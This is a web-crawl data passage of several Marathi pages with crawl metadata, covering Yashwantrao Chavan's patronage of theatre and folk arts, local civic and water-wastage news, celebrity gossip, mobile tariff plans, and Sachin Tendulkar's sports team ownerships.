दूर केली.\nयशवंतरावांच्या अंतरंगातील इतक्या गोष्टी आणि सुप्त गुण पाहिल्या/ अनुभवल्यानंतर कुणालाही साहजिकच वाटेल, की आता त्यांच्यातील गुणांची पोतडी रिकामी होत आली असेल. परंतु त्यांचे अंतरंग ही जणू जादूचीच पोतडी होती. आतापर्यंत सांगितलेल्या गोष्टी या त्यांच्या राजकीय जीवनाशी संबंधित होत्या. त्या तशाच घडत राहिल्या तर आपले जीवन रूक्ष होईल याची त्यांना कल्पना होती. याकरता त्यांच्या अंतरंगातील साहित्य, संस्कृती आणि कलास्वादाचे दालन मला इथे उघडून दाखवावे लागत आहे. यशवंतराव हे स्वत: प्रगाढ व्यासंगी होते. संस्कृती, वाङ्मय, कला यांत त्यांना मनापासून रस होता. त्याचा त्यांचा अभ्यासही होता. महाराष्ट्राच्या सामाजिक जीवनाची ही अंगेही विकसित होण्याकडे त्यांनी आवर्जून लक्ष दिले. त्यातून त्यांचा व्यापक दृष्टिकोन आणि सखोलता याची प्रचीती येते. नाटय़कलेला प्रोत्साहन मिळावे म्हणून त्यांनी १९५९ साली ८४ हजार रुपये खर्चाची (त्यावेळचे) एक योजना तयार केली. तीद्वारे वृद्ध, अपंग कलाकारांना मानधन देण्यास त्यांनी सुरुवात केली.\nयशवंतराव स्वत: नाटकाचे उत्तम दर्दी होतेर्. सर्वसामान्यजन त्याकाळी वर्तमानपत्रांतून सिनेमाच्या जाहिराती प्रामुख्याने बघत असत. पण यशवंतराव मात्र नाटकांच्या जाहिराती पाहत असत. आठ-पंधरा दिवसांत एखादे नाटक पाहिले नाही तर ते बेचैन होत. नाटक पाहणे हा त्यांचा विरंगुळा होता. नाटक पाहण्याची त्यांची एक पद्धत होती. पहिले तत्त्व हे, की नाटक असो वा गाणे.. पडदा उघडण्यापूर्वी आपण प्रेक्षागृहात आसनस्थ झालेच पाहिजे. तसेच कार्यक्रम संपून पडदा पडल्यानंतरच आपण जागेवरून उठायचे. कार्यक्रमास सुरुवात झाल्यानंतर तिथे पोहोचणे वा कार्यक्रम सुरू असताना मधूनच उठून जाणे, याला ते कलाकारांचा अपमान समजत असत. कार्यक्रमात पहिल्या रांगेपेक्षा दुसरी वा तिसरी रांग ते अधिक पसंत करीत; जेणेकरून रंगमंचावरील पात्रं डोळ्यांच्या सरळ रेषेत येत. तिसरी गोष्ट- बसल्याबरोबर ते एक पाय दुसऱ्या पायाच्या मांडीवर ठेवत आणि डोक्यावरची टोपी मांडीवर ठेवत आणि सवयीनुसार एक हात ते हनुवटीवर ठेवत असत. नाटकातील सुख-दु:ख वा विनोदी प्रसंगांना ते मनमोकळी दाद देत असत. पुलंचं ‘बटाटय़ाची चाळ’ हे नाटक मुंबईच्या बिर्ला मातोश्री सभागृहात त्यांनी चार-पाच वेळा तरी पाहिले असावे. पहिल्यांदा पाहताना त्यातील विनोदाला त्यांनी जसा प्रतिसाद दिला होता, अगदी तसाच किंवा त्यापेक्षाही जास्त प्रतिसाद शेवटच्या वेळीही दिलेला मी पाहिला आहे. मध्यंतरात ते रंगपटात जाऊन कलाकारांसोबत चहा पीत पीत मनसोक्त गप्पा करीत. कलाकारही या सच्च्या रसिकाबरोबरच्या गप्पांत मन:पूर्वक भाग घेत. त्याची आठवण म्हणून बऱ्याचदा यशवंतरावांसोबत फोटोही काढून घेत. अनेकदा मुंबई-पुण्यातला यशवंतरावांचा एखादा कार्यक्रम हा तिथल्या एखाद्या नाटकाच्या प्रयोगाशीही जुळवून घेतलेला असे.\nदिल्लीत त्याकाळी वर्षभरात साधारणत: तीन-चार मराठी नाटके येत. ती पाहता यावीत म्हणून खूपच पूर्वनियोजित कार्यक्रम असेल तरच ते दिल्लीबाहेर पडत, नाहीतर त्या कार्यक्रमात थोडासा बदल करीत. नाटक पाहण्यापूर्वी त्या नाटकाचे पुस्तक ते कधीही विकत घेत नसत. परंतु ते जर छापले गेले असेल तर नंतर ते विकत घेत आणि स्वत: वेणूताईंसमोर त्याचे वाचन करीत. ते परराष्ट्रमंत्री असताना परदेश दौरा ठरला की तेथील राजदूताकडे तिथल्या नाटकांबाबत ते चौकशी करीत. एक दिवस जास्त थांबायची वेळ आली तरीही ते थांबून तिथले नाटक पाहत असत. थोडक्यात- नाटककार, रंगमंचावरील कलाकार आणि यशवंतरावांत आपुलकीचे एक नाते तयार झाले होते.\nतमाशा ही महाराष्ट्राला लाभलेली पारंपरिक देण आणि संस्कृती असूनही त्याकडे पाहण्याचा सर्वसामान्यांचा दृष्टिकोन मात्र निराळा असे. याचा प्रत्यय व्ही. शांताराम यांच्या ‘पिंजरा’ या चित्रपटातही येतो. ही कला जोपासायला तर हवीच; त्याचबरोबर ती सर्वसामान्यांनीही स्वीकारली तर तिला चांगले दिवस येतील, हा विचार डोळ्यासमोर ठेवून यशवंतरावांनी या कलेला राज्यमान्यता मिळवून दिली. एवढेच नव्हे तर मुंबईत अनेकदा तमाशा महोत्सवही आयोजित करण्यात येत. तमाशाच्या काही प्रयोगांना उत्तेजनपर अनुदानही देण्यात येत असे. धोबीतलाव येथे (मुंबई महापालिका इमारतीजवळ) महाराष्ट्र सरकारच्या खुल्या रंगमंचावर ‘रंगभवन’ला होणाऱ्या या तमाशा महोत्सवांना बरेच सुशिक्षित स्त्री-पुरुष येत, या कलेचा आस्वाद व आनंद घेत.\nतमाशाबरोबरच महाराष्ट्राच्या संस्कृतीचा एक वारसा असलेल्या पोवाडय़ालाही सरकारी मान्यता देण्यात आली होती. लुप्त होत चाललेल्या या कलेला पुनर्जीवित करण्याचे कार्य यशवंतरावांनी केले. स्वातंत्र्यप्राप्तीनंतरच्या काळात आपल्याकडे एक प्रथाच पडली आहे, की मंत्रीमहोदय आल्यास त्या कार्यक्रमाला काहीशी प्रतिष्ठा मिळते. यशवंतरावांना याची कल्पना असल्याने पश्चिम महाराष्ट्राच्या दौऱ्यावर गेले की ते एखाद्या पोवाडय़ाच्या कार्यक्रमास आवर्जून हजेरी लावत असत. मुंबईत शाहीर साबळे यांच्या पोवाडय़ाच्या कार्यक्रमांना ते गेल्याचे मला चांगलेच स्मरते. त्यांचा ‘गर्जा महाराष्ट्र माझा’ हा पोवाडा यशवंतरावांना तोंडपाठ होता. अशा प्रकारे महाराष्ट्रातील सर्वसामान्यांच्या रूक्ष जीवनात कलेची झालर शोभा आणत होती.. त्यात रंग भरत होती.\nताज्या बातम्यांसाठी लोकसत्ताचे मोबाईल अॅप डाऊनलोड करा.\nअभियंता तरुणीचा विनयभंग; तक्रार घेण्यास हिंजवडी पोलिसांची टाळाटाळ\nखालील बातम्या तुम्ही वाचल्या का\nचूक झाली.. यापुढे गणपती बाप्पा मोरया म्हणणार नाही-वारीस पठाण\nभारताने लाखो लोकांना गरिबीतून बाहेर काढले, संयुक्त राष्ट्र संघात ट्रम्प यांचे गौरवोद्गार\nराफेल विमान व्यवहार: रॉबर्ट वद्रांना तुरुंगवास नक्की, भाजपाचा पलटवार\nसतत टोमणे मारणाऱ्या पतीला वजनदार पत्नीचं 'बॉडी बिल्डर' होऊन उत्तर\n..तेव्हा मोदींनीही पंतप्रधान मनमोहनसिंग यांना पाठिंबा दिला होता: राम माधव\nAsia Cup 2018 Ind vs Afg Live : भारताला पहिला धक्का, रायडू माघारी\n'द नन'ची जगभरात तुफान कमाई; १४०० कोटींचा जमवला गल्ला\n'मी शिवाजी पार्क' सेन्सॉरच्या कात्रीत; महेश मांजरेकर जाणार कोर्टात\nअरबाज २०१९ मध्ये दुसऱ्यांदा चढणार बोहल्यावर\nVideo : आधी देश मग धर्म, रितेश देशमुखने शेअर केलेला हा व्हिडिओ पाहाच\nदारुच्या नशेत रिक्षाला ठोकलं, दोघं जखमी; अभिनेता दलीप ताहिल अटकेत\nपुण्यात पेट्रोल दर अखेर नव्वदीपार\nतीन हजारांहून अधिक फरार गुन्हेगारांची विशेष शोधमोहीम\nमीरा-भाईंदरमध्ये ‘अल्ट्रा थीन’ रस्ते\n‘जैन मुनींच्या आशीर्वादामुळे महापालिकेत यश\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00145.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://article.wn.com/view/WNATfee666a6350b74a5b59a985ec2a7ba5c/", "date_download": "2018-09-25T17:06:50Z", "digest": "sha1:NG5LWHZXXIZMPAIJDS5LY7WQ7DLNXK4F", "length": 8534, "nlines": 144, "source_domain": "article.wn.com", "title": "पाण्याचा अपव्यय - Worldnews.com", "raw_content": "\nटिटवाळा ः रेल्वे स्टेशनमध्ये नवीनच उभारण्यात आलेल्या शुद्ध पिण्याच्या\nनवीन जलकुंभाजवळ पाण्याचा अपव्यय\nनिशांत गार्डनजवळील प्रकार म. टा. वृत्तसेवा, आडगाव आडगाव परिसरातील निशांत गार्डनशेजारील नवीन जलकुंभाजवळ आठ दिवसांपासून पाणीगळती होत असून, पाण्याचा अपव्यय होत आहे. तरी...\nबागुल उद्यानातील पाण्याचा अपव्यय थांबला\nलोगो - मटा इम्पॅक्टपाण्याचा अपव्यय थांबलाशिवदर्शन -पर्वती येथील बागूल उद्यानात पाणी गळतीमुळे पाण्याचा अपव्यय...\nबागुल उद्यानात पाण्याचा अपव्यय\nबागुल उद्यानात पाण्याचा अपव्ययपुणे - शिवदर्शन येथील बागूल उद्यानात गेले कित्येक दिवस पाईप...\nदक्षिण पूर्व रेल्वे कॉलनी नंबर दोनमध्ये पिण्याच्या पाण्याचा अपव्यय होत आहे. सुमारे महिनाभरापासून हे पाणी येथे...\nपाण्याच्या अपव्ययाकडे पालिकेचा काणाडोळा\nपाणीटंचाईच्या सुरुवातीच्या काळात पाण्याच्या अपव्ययाबाबत जागृत असलेले पालिका प्रशासन आता ढेपाळले आहे. वाहने धुण्यासाठी, रस्त्यावर मारण्यासाठी पाण्याचा गैरवापर सुरू असूनही...\nठाणे : स्टेशनवरील प्लॅटफॉर्म क्र. ९ वरील पाणपोईचे हे दृश्य. या...\nठाणे : स्टेशनवरील प्लॅटफॉर्म क्र. ९ वरील पाणपोईचे हे दृश्य. या...\nम. टा. वृत्तसेवा, डोंबिवली वाढता उन्हाळा आणि येत्या काही महिन्यांत पाणी कपातीचे घोंगावणारे संकट या पार्श्वभूमीवर डोंबिवलीत पाण्याचा अपव्यय सर्रास सुरू असून एमआयडीसी परिसरात होणाऱ्या या पाणीगळतीकडे प्रशासनाचे दुर्लक्ष होत असल्याचे दिसून आले आहे. शहरासह एमआयडीसी परिसरात वारंवार होणारी पाणीगळती अथवा गळक्या जलवाहिन्या यांमुळे कल्याण-शिळ रोडला सलग तीन दिवस पाणीगळती होत आहे....\nमातृसेवा संघाजवळ असलेल्या रस्त्यावर पाण्याची जलवाहिनी फुटली आहे. त्यामुळे येथे दररोज पाण्याचा अपव्यय होतो. यासंदर्भात...\nबॉइज टाऊन शाळेजवळील, तसेच येवलेकर मळा भागातील पथदीप दिवसादेखील सुरू असतात. त्यामुळे...\nइंदिरानगर जॉगिंग ट्रॅकला लागून असलेल्या सिटी गार्डन येथे अशा प्रकारे पाणी वाया जात आहे....\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00146.warc.wet.gz", "language": "mr", "language_score": 0.65, "bucket": "all"} {"url": "https://divyamarathi.bhaskar.com/news/BOL-BPAR-IFTM-parineeti-chopra-irritated-with-dress-at-ambani-bash-siddharth-malhotra-help-her-5908753-NOR.html", "date_download": "2018-09-25T17:09:28Z", "digest": "sha1:HX3HF7JMB33NWW5CWKO7KSPK5QBWP6PH", "length": 7517, "nlines": 144, "source_domain": "divyamarathi.bhaskar.com", "title": "Parineeti Chopra Irritated With Dress At Ambani Bash Siddharth Malhotra Help Her | ​ Ambaniच्या पार्टीत परिणीतीचा ड्रेस नीट करताना दिसला सिद्धार्थ, शाहिदने सावरले पत्नीचे केस", "raw_content": "\nदिव्य मराठी विशेष मधुरिमा\nमधुरिमा रसिक जोक्स हेल्थ-लाइफस्टाइल\n​ Ambaniच्या पार्टीत परिणीतीचा ड्रेस नीट करताना दिसला सिद्धार्थ, शाहिदने सावरले पत्नीचे केस\nबिजनेसमन मुकेश अंबानींचा थोरला मुलगा आकाश अंबानीचा अलीकडेच मुंबईत साखरपुडा झाला.\nमुंबईः बिजनेसमन मुकेश अंबानींचा थोरला मुलगा आकाश अंबानीचा अलीकडेच मुंबईत साखरपुडा झाला. अतिशय भव्यदिव्य असा हा सोहळा पार पडला. या साखरपुड्याला बॉलिवूड इंडस्ट्रीतील अनेक सेलिब्रिटी उपस्थित होते. कार्यक्रमाला अभिनेत्री परिणीती चोप्रा इंडो वेस्टर्न ड्रेसमध्ये पोहोचली होती. पण या ड्रेसने ती चांगलीच वैतागलेली यावेळी दिसली. पावलापावलावर परिणीती तिचा ड्रेस सावरताना दिसत होती. पार्टीती काही फोटोज समोर आले आहेत, यामध्ये अभिनेता सिद्धार्थ मल्होत्रा परिणीतीला तिचा ड्रेस सावरण्यात मदत करताना दिसतोय. सिद्धार्थ परिणीतीच्या ड्रेसची बॅक साइड पिनअप करताना यावेळी दिसला. परिणीती ब्लॅक अँड व्हाइट ड्रेस आणि हाय हिल्समध्ये खरं तर सुंदर दिसली. पण या ड्रेसमुळे तिची चांगलीच पंचाईत झाली होती, हेही तितकेच खरे आहे. परिणीती अर्जुन कपूरसोबत 'पिंकी और बंटी फरार' आणि 'नमस्ते इग्लैंड'मध्ये झळकणार आहे. याच पार्टीत अभिनेता शाहिद कपूर पत्नी मीरा राजपूतसोबत पोहोचला होता. या दोघांचा यावेळी एक क्यूट मोमेंट कॅमे-यात कैद झाला. दोघेही जसे अंबानींच्या घरी पोहोचले, कॅमे-याच्या नजरा त्यांच्याकडे वळल्या. फोटोसेशनवेळी शाहिद पत्नी मीराचे केस सावरताना दिसला.\nVIDEO: फुलांच्या वर्षावापासून ते आतषबाजीपर्यंत, असा झाला मुकेश अंबानींच्या लाडक्या लेकीचा साखरपुडा\nमुकेश अंबानींच्या मुलीच्या साखरपुड्याला भावी पतीसोबत पोहोचली प्रियांका चोप्रा, जान्हवी कपूर-अनिल कपूरही पोहोचले\nInside Photos: रात्री 12 वाजता सेलिब्रेट झाला करीनाचा बर्थडे, सैफने मागवला खास केक, सासू शर्मिला होती गैरहजर\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00147.warc.wet.gz", "language": "mr", "language_score": 0.82, "bucket": "all"} {"url": "http://pclive7.com/%E0%A4%AA%E0%A4%BF%E0%A4%82%E0%A4%AA%E0%A4%B0%E0%A5%80-%E0%A4%9A%E0%A4%BF%E0%A4%82%E0%A4%9A%E0%A4%B5%E0%A4%A1%E0%A4%B2%E0%A4%BE-%E0%A4%B8%E0%A5%8D%E0%A4%AE%E0%A4%BE%E0%A4%B0%E0%A5%8D%E0%A4%9F/", "date_download": "2018-09-25T17:57:52Z", "digest": "sha1:VYW2DK4XO7HEFHVH7IZMJAXSGC34NH3P", "length": 11314, "nlines": 74, "source_domain": "pclive7.com", "title": "पिंपरी चिंचवडला स्मार्ट सिटी करण्यात फ्रान्सचे सर्वतोपरी सहकार्य – राजदूत अलेक्‍झांडर झीग्लर | PCLIVE7.com – Pimpri Chinchwad News, Pune News Live.", "raw_content": "\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\nपिंपरीतील फुल बाजाराच्या स्थलांतरावर शिक्कामोर्तब\n‘स्वराज्यरक्षक संभाजी’ या मालिकेतील कलावंतांशी शनिवारी चिंचवडला मुक्त संवाद\nमहापालिका मुख्यालयात वैद्यकीय कक्ष सुरू करा; विरोधी पक्षनेते दत्ता साने यांची मागणी\nवायसीएमच्या दारातच रूग्णाची ‘हेळसांड’, अर्धातासाच्या प्रतिक्षेनंतर उपचार सुरू\nनाना काटे सोशल फाऊंडेशनच्या मूर्तीदान उपक्रमाला उस्फूर्त प्रतिसाद; १२ हजार ३०० मूर्तींचे केले संकलन\nढोल ताशांच्या गजराज उन्न’ती’च्या गणपतीचे विसर्जन\nधक्कादायक : हिंजवडीतील अत्याचार प्रकरणी आणखी दोघांना अटक\nHome पिंपरी-चिंचवड पिंपरी चिंचवडला स्मार्ट सिटी करण्यात फ्रान्सचे सर्वतोपरी सहकार्य – राजदूत अलेक्‍झांडर झीग्लर\nपिंपरी चिंचवडला स्मार्ट सिटी करण्यात फ्रान्सचे सर्वतोपरी सहकार्य – राजदूत अलेक्‍झांडर झीग्लर\nपिंपरी (Pclive7.com):- पिंपरी चिंचवड शहराच्या स्मार्ट सिटी प्रकल्पामध्ये तांत्रिक क्षेत्रासह सर्व क्षेत्रात सहकार्य करण्यासाठी फ्रान्स तयार असल्याचे मत फ्रान्सचे भारतातील राजदूत अलेक्‍झांडर झीग्लर यांनी व्यक्त केले.\nस्थायी समिती सभागृहात सकाळी पिंपरी चिंचवड महापालिका व फ्रान्सचे औद्योगिक शिष्टमंडळ यांच्यातील द्विपक्षीय चर्चे दरम्यान ते बोलत होते. फ्रान्सचे भारतातील राजदूत अलेक्‍झांडर झीग्लर यांच्या अध्यक्षेतेखालील शिष्टमंडळाने स्मार्ट सिटी संदर्भात तांत्रिक क्षेत्रात मदत करण्यासाठी व विविध माहितीची देवाणघेवाण होण्याकरिता महापालिकेस भेट देऊन माहिती घेतली. यावेळी उपमहापौर शैलजा मोरे व आयुक्त श्रावण हर्डीकर यांनी शिष्टमंडळाचे स्वागत केले.\nफ्रान्सच्या या शिष्टमंडळामध्ये सल्लागार मंत्री व भारत आणि दक्षिण आशिया प्रादेशिक आर्थिक विभागाचे प्रमुख फ्रान्सचे दूत जीन-मार्क फेनेट, येवेस पेरीन, हर्व डूबृएल, इलिका मान, फॅनी हर्व, क्‍लेमेंट रॉऊशोउस, जीन मार्क मिग्नोन, सांड्रायन मॅक्‍समिलीएन, अमित ओझा, क्रिस्तोफर कॉम्मेऊ, एडगर ब्राउल्ट, रविन मिरचंदानी यांच्यासह ३५ जणांचा समावेश होता.\nयावेळी आयुक्त श्रावण हर्डीकर म्हणाले, स्मार्ट सिटीच्या माध्यमातून शहराचे आगामी काही वर्षांचे नियोजन करण्याचे उद्दिष्ट आहे. त्यासाठी विविध प्रकल्प राबविण्याचे काम पिंपरी चिंचवड शहरात सुरु आहे. जागतिक दर्जाच्या तंत्रज्ञानासाठी फ्रान्सने सहकार्य करावे. तसेच विविध औद्योगिक कंपन्यांनी देखील आपले तंत्रज्ञान स्मार्ट सिटी प्रकल्पामध्ये वापरण्यासाठी पुढाकार घ्यावा. स्मार्ट सिटी प्रकल्पांतर्गत आयसिटी, एरिया बेस डेव्हलपमेंट व विविध प्रकल्पांची माहिती त्यांनी दिली. ‘व्हिजन २०३०’ बाबतची माहितीही त्यांनी शिष्टमंडळाला दिली.\nया शिष्टमंडळास ‘ई अँड वाय’ या सल्लागार संस्थेचे प्रतिनिधी नितीन जैन यांनी पॅन सिटीबाबत विस्तृत सादरीकरण केले. केपीएमजी या सल्लागार संस्थेचे प्रतिनिधी राजा डॉन यांनी एरिया बेस डेव्हलपमेंटचे सादरीकरण केले. तसेच प्यालाडीयम इंडियाच्या श्रीमती बारबरा स्टँकोविकोवा यांनी सिटी ट्रान्सफॉर्मेशनबाबत शिष्टमंडळास सादरीकरण केले. यापूर्वी महापलिकेच्या माहितीपर चित्रफितीद्वारे शहराची माहिती देण्यात आली.\nयावेळी पिंपरी चिंचवड स्मार्ट सिटीचे संचालक व विरोधी पक्षेनेते दत्तात्रय साने, मनसे गटनेते सचिन चिखले, प्रमोद कुटे, अतिरिक्त आयुक्त डॉ. प्रविण आष्टीकर, दिलीप गावडे, शहर अभियंता अंबादास चव्हाण, मुख्य माहिती व तंत्रज्ञान अधिकारी तथा सह मुख्य कार्यकारी अधिकारी निळकंठ पोमण, नगररचना उपसंचालक प्रशांत ठाकूर, सह शहर अभियंता राजन पाटील, आयुबखान पठाण, कार्यकारी अभियंता प्रविण लडकत, संजय कुलकर्णी, संजय भोसले, सहाय्यक आयुक्त अण्णा बोदडे आदी उपस्थित होते.\nTags: PCLIVE7.COMPcmc newsचिंचवडपिंपरीमहापालिकास्मार्ट सिटी\n‘निर्भया’ प्रकरणी न्यायालयाच्या निर्णयाचे स्वागत; शिक्षेची तात्काळ अंमलबजावणी करण्याची युवानेते अमित बच्छाव यांची मागणी\nपुनरुत्थान गुरुकुलम मधील विद्यार्थ्यांचे कौशल्य पाहून लोकसभाध्यक्षा गेल्या भारावून\nपिंपरी चिंचवड शहराचा बुधवारी विस्कळीत व कमी दाबाने पाणीपुरवठा\n१५ दिवसांत शास्तीकर भरा अन् ९० टक्के सवलत मिळवा; स्थायी समितीचा निर्णय\n६० वर्षीय महिलेचा स्वाईन फ्लूने मृत्यू; पिंपरी चिंचवडमधील २३ वा बळी\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00148.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.maharashtracitynews.com/en/zeola-collision-idea-and-airtels-tremendous-plans/", "date_download": "2018-09-25T17:40:40Z", "digest": "sha1:QGEDXIMNXNEXOXGZ4Z6GVRJ7MRIP64IV", "length": 12902, "nlines": 227, "source_domain": "www.maharashtracitynews.com", "title": "जिओला टक्कर आयडिया आणि एअरटेलचे जबरदस्त प्लान . | Top Latest Marathi News Online", "raw_content": "\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\nपुण्यात पेपर मिल- गोदामाला आग, दोन कामगारांचा मृत्यू\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n‘आधार’ जोडणीस बेमुदत वाढ, सरकारी योजनांसाठी ३१ मार्च हीच डेडलाइन\n67 प्रवाशांना घेऊन जाणारं बांगलादेशी विमान नेपाळमध्ये कोसळलं\nKisan Long March: सरकारला चुका सुधारण्याची शेवटची संधी- शरद पवार\nKisan Long March Live: शेतकऱ्यांचे शिष्टमंडळ-मंत्रिगटाच्या बैठकीत खलबतं सुरू\nKisan Long March: जाणून घ्या 166 किलोमीटरची पायपीट करून आलेल्या शेतकऱ्यांच्या 13 प्रमुख मागण्या\nमुंबईच्या वेशीवर किसान मोर्चा \nHome/Technology/जिओला टक्कर आयडिया आणि एअरटेलचे जबरदस्त प्लान .\nजिओला टक्कर आयडिया आणि एअरटेलचे जबरदस्त प्लान .\nटेलिकॉम कंपन्यांमध्ये ऑफर्स देण्याच्या स्पर्धाच सुरु झाल्या आहेत.\n0 184 एका मिनिटापेक्षा कमी\nएकीकडे एअरटेलने जिओला टक्कर देण्यासाठी नवा प्रीपेड प्लान सादर केला आहे तर, दुसरीकडे आयडिया कंपनीनेही आपला जबरदस्त प्लान लॉन्च केला आहे.एअरटेल कंपनीने नुकतचं प्रीपेड प्रॉमिस स्किमनुसार नवा प्लान लॉन्च केला आहे. यामध्ये कंपनीने ग्राहकांना ४४८ रुपयांत ७० दिवसांसाठी एक जीबी इंटरनेट डेटा देत आहे. रिलायन्स जिओच्या ९८ रुपयांच्या प्लानला टक्कर देण्यासाठी एअरटेलने ९३ रुपयांचा रिचार्ज प्लान सादर केला आहे. यामध्ये ग्राहकांना अनलिमिटेड लोकल आणि एसटीडी कॉल्स ज्यामध्ये रोमिंग, १० दिवसांसाठी एक जीबी डेटा मिळणार आहे. तसेच या पॅकमध्ये दररोज १०० एसएमएस फ्री मिळणार आहेत. हा रिचार्ज प्लान २जी, ३जी आणि ४जी स्मार्टफोन्सवरही करता येणार आहे.\nआयडिया कंपनीने आपल्या सध्याच्या ३०९ रुपयांच्या प्लानला अपग्रेड केलं आहे. यानुसार, आता ग्राहकांना २८ दिवसांसाठी दररोज १.५ जीबी इंटरनेट डेटा मिळणार आहे. या प्लानमध्ये युजर्सला अनलिमिटेड लोकल आणि एसटीडी कॉल्सची सुविधा मिळणार आहे. यामध्ये अनलिमिटेड कॉल्ससाठी नियम लागू आहेत.युजर एका दिवसासाठी जास्तीत जास्त २५० मिनिट फ्री बोलू शकतो. आठवड्याला ही सिमा एक हजार मिनिटांची आहे. जर युजर्स दिलेल्या मर्यादेपेक्षा अधिक बोलल्यास त्याला प्रत्येक कॉलसाठी एक पैसा प्रति सेकंद या दराने पैसे द्यावे लागणार आहेत.\nरिलायन्स जिओ आपल्या ९८ रुपयांच्या टेरिफ प्लानमध्ये अनलिमिटेड लोकल आणि एसटीडी कॉल्स मिळणार आहे. यामध्ये रोमिंगचाही समावेश आहे. तसेच १४० फ्री एसएमएस आणि २.१ जीबी फेयर युसेज पॉलिसी अंतर्गत अनलिमिटेड हाय स्पीड डेटा देण्यात येणार आहे. जिओचा हा प्लान १४ दिवसांसाठी वैध राहणार आहे.\nअंबरनाथ-बदलापूर स्टेशनदरम्यान रेल्वे रुळ तुटल्यानं मोठा अपघात टळला .\n६५ वर्षांच्या महिलेवर १५ वर्षांच्या मुलाकडून बलात्कार केल्याची घटना घडली आहे.\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\nनागपुरात १८८ कोटी रुपयांचा संरक्षण हब\n2018 मध्ये भारताचे चांद्रयान -2 चंद्राच्या दक्षिण गोलार्धावर ठेवणार पाऊल\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\nपुण्यात पेपर मिल- गोदामाला आग, दोन कामगारांचा मृत्यू\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n‘आधार’ जोडणीस बेमुदत वाढ, सरकारी योजनांसाठी ३१ मार्च हीच डेडलाइन\nपुण्यात पेपर मिल- गोदामाला आग, दोन कामगारांचा मृत्यू\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n‘आधार’ जोडणीस बेमुदत वाढ, सरकारी योजनांसाठी ३१ मार्च हीच डेडलाइन\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\nहृदयविकारामुळे ‘रईस’ अभिनेता नरेंद्र झा यांचं निधन\nज्येष्ठ शास्त्रज्ञ स्टीफन हॉकिंग यांचे निधन\n19 /04 /2018 बुटीबोरी ग्रामपंचायत आता बुटीबोरी नगर परिषद .आ.\n18 /04/ 2018 विक्रमी वेळेत महाराष्ट्र हागणदारीमुक्त,\nकठुआ बलात्कार प्रकरण - पीडितेच्या कुटुंबियांना आणि\nतुमचा इमेल पत्ता लिहा\n‘अपनों का पता तो चला’, अमिताभ बच्चन यांचे भावनिक पोस्ट\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00148.warc.wet.gz", "language": "mr", "language_score": 0.83, "bucket": "all"} {"url": "https://mahasports.co.in/sachin-tendulkar-owner-league-club-or-team-pbl-ipl-isl-pro-kabaddi/", "date_download": "2018-09-25T17:02:40Z", "digest": "sha1:GL5ZDH34CJLRSCFI6GZ42IGGIIKBOGZI", "length": 8576, "nlines": 65, "source_domain": "mahasports.co.in", "title": "सचिन आहे एवढ्या टीमचा मालक... -", "raw_content": "\nसचिन आहे एवढ्या टीमचा मालक…\nसचिन आहे एवढ्या टीमचा मालक…\n२४ वर्ष क्रिकेटच मैदान गाजवलेला भारताचा महान क्रिकेटर निवृत्तीनंतरही विविध खेळांशी निगडित आहे. अगदी बॅडमिंटन पासून ते कुस्ती पर्यंत सचिन वेगेवेगळ्या खेळांच्या लीगमधील टीमचा मालक असून तो ते खेळ मोठे होण्यासाठी प्रयत्नही करत असतो. कालच सचिन प्रो- कबड्डी लीगमधील चेन्नई टीमचा सहमालक बनला.\nसचिन वेगवेगळ्या खेळांच्या लीगमधील टीमशी कसा निगडित आहे ते पाहूया\n#१ सचिन आणि मुंबई इंडियन्स\nमास्टर ब्लास्टर सचिन तेंडुलकर २००८ सालापासून मुंबईच्या संघांचा अविभाज्य भाग आहे. त्याने या संघाचं नेतृत्वही केलं आहे. २०१३ साली सचिनने आयपीएलमधून निवृत्ती घेतली. परंतु तरीही तो या संघांशी वेगळ्या नात्याने जोडला गेला. तो २०१४ च्या मोसमापासून मुंबई इंडियन्स संघांशी मेंटॉर म्हणून जोडला गेला. सचिनचं मार्गदर्शन वेळोवेळी आम्हाला उपयोगी पडते असे मुंबई इंडियन्स मधील नवोदित खेळाडू नेहमी म्हणतात.\n#२ सचिन आणि केरला ब्लास्टर्स फुटबॉल क्लब\n२०१४ साली इंडियन सुपर लीगची सुरुवात झाली. या सचिनने केरला ब्लास्टर्स फुटबॉल क्लबचा सहमालक झाला. विशेष म्हणजे सचिन ह्या संघाबरोबर कायमच उपस्थित असतो. पिवळ्या रंगाची जर्सी घालून सोशल मीडियाच्या माध्यमातून सचिन नेहमीच आपल्या या फुटबॉल क्लबला पाठिंबा देत असतो. सचिनचा हा संघ २०१४ आणि २०१६ चा उपविजेता आहे.\n#३ सचिन आणि बेंगळुरू ब्लास्टर्स\nप्रीमियर बॅडमिंटन लीगची सुरुवात २०१३ साली झाली. सुरुवातीच्या ३ मोसमात सचिन कोणत्याही संघाचा मालक नव्हता. परंतु सॅन २०१६ 